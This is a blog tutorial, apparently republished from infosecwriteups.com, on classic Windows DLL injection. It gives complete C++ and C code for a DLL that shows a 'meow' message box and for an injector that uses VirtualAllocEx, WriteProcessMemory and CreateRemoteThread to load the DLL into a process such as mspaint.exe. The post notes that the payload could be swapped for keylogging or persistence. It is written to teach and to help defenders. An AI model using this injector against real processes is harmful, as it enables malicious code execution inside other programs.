How to Make mspaint Say “Meow”: A Playful Guide to DLL Injection
文章介绍了一种经典的Windows DLL注入技术:通过LoadLibraryA函数将自定义DLL注入目标进程(如mspaint.exe),展示了如何实现和背后的原理。 2025-9-13 07:51:22 Author: infosecwriteups.com(查看原文) 阅读量:3 收藏

Itz.sanskarr

Press enter or click to view image in full size

DLL Injection

[DISCLAIMER: This is an educational write-up. Don’t be the person who takes code snippets from blog posts and tries them on systems you don’t own. Use a lab, break your own toys, and don’t complain to me when you end up on some SOC analyst’s watchlist.]

So today we’re diving into one of the classics of Windows malware tricks: DLL Injection.
Yes, the thing that lets you convince another process to load your code and run it like it was born to. Whether that’s explorer.exe, mspaint.exe, or Notepad (because who doesn’t want Notepad.exe meowing back at them?), DLL injection remains a simple yet powerful way attackers get a foothold inside another process.

We’ll specifically look at the traditional DLL injection technique that relies on the debugging API. Old but gold.

Premise: What’s DLL Injection Anyway?

At its core, DLL injection is about forcing another process to load a Dynamic Link Library. Think of it as sneaking your own Lego block into someone else’s set — the system thinks it belongs, and suddenly your block has all the power.

Why would attackers want this? A few reasons:

  • Hook into system functions (so they can “monitor” or manipulate behavior).
  • Achieve persistence (so their code survives reboots or app restarts).
  • Straight up control a process’s execution flow.

In our case, we’ll keep it simple: show a message box. Nothing says “I’m inside your process” like a cat meowing from a Windows alert.

The “=^..^=” DLL (Dll.cpp)

Here’s a minimal DLL that just yells “Meow” at you:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"=^..^=",
"alert",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

A few notes here:

  • DllMain is the DLL’s entry point. Windows calls this automatically when the DLL is loaded.
  • We don’t bother exporting functions here — malware authors often just drop everything in DllMain because it executes immediately after loading. Simple, fast, and it works.
  • The payload here is harmless: a message box. Replace that with keystroke logging, code injection, or persistence logic … and now you’ve got something much nastier.

To build this on a Linux host (with mingw-w64), you’d run:

x86_64-w64-mingw32-g++ -shared -o Dll.dll Dll.cpp -fpermissive

Congrats, you now own a cat-themed “malicious” DLL.

The Injector (injector.c)

Now we need a way to get that DLL into another process’s memory space. This is where the traditional DLL injection technique shines.

Here’s the injector code:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

char DllToLoad[] = "C:\\Dll.dll";

int main(int argc , char* argv[]) {

// Step 1: Find LoadLibraryA inside Kernel32.dll
HMODULE kernal_handle = GetModuleHandle("Kernel32");
FARPROC processAddress_LLA = GetProcAddress(kernal_handle, "LoadLibraryA");

printf("the process address is: %i", atoi(argv[1]));

// Step 2: Open the target process
HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)atoi(argv[1]));

// Step 3: Allocate memory inside target process
LPVOID memAlloc = VirtualAllocEx(processHandle, NULL, sizeof(DllToLoad),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// Step 4: Copy our DLL path into target process memory
WriteProcessMemory(processHandle, memAlloc, DllToLoad, sizeof(DllToLoad), NULL);

// Step 5: Create a remote thread that calls LoadLibraryA with our DLL path
HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0,
(LPTHREAD_START_ROUTINE)processAddress_LLA,
memAlloc, 0, NULL);

CloseHandle(processHandle);

return 0;
}

Breaking Down the Magic

  1. GetModuleHandle(“Kernel32”)
    Why Kernel32? Because that’s where LoadLibraryA lives. And if we want another process to load our DLL, we need the memory address of this function.
  2. GetProcAddress()
    This fetches the pointer to LoadLibraryA. That’s the function we’ll eventually call inside the victim process.
  3. OpenProcess()
    Using the PID of our target (say mspaint.exe), we grab a handle. Without this, we’re just standing outside the restaurant, unable to cook.
  4. VirtualAllocEx()
    Allocate memory inside the target process. This is the prep space where we’ll drop the string "C:\\Dll.dll".
  5. WriteProcessMemory()
    Copies the DLL path into the allocated memory.
  6. CreateRemoteThread()
    Here’s the finale: we spin up a thread inside the target process that calls LoadLibraryA with the DLL path we just wrote. The process happily loads our DLL like it was part of its startup routine.

And voila — our Dll.dll gets executed inside mspaint.exe (or any other target). If you did everything right, you should see a message box meowing at you, courtesy of a hijacked process.

Press enter or click to view image in full size

Conclusion

This is the traditional DLL injection technique: simple, effective, and still relevant today.

While attackers have more sophisticated tricks now (like process hollowing, APC injection, or even abusing signed drivers), this classic LoadLibraryA method is still widely used — especially by red teams and malware authors who prefer reliability over stealth.

And as defenders, understanding how these old-school techniques work is crucial. Because if you ever see Notepad popping up cat memes uninvited, you’ll know exactly what happened.


文章来源: https://infosecwriteups.com/how-to-make-mspaint-say-meow-a-playful-guide-to-dll-injection-edf748eb9558?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh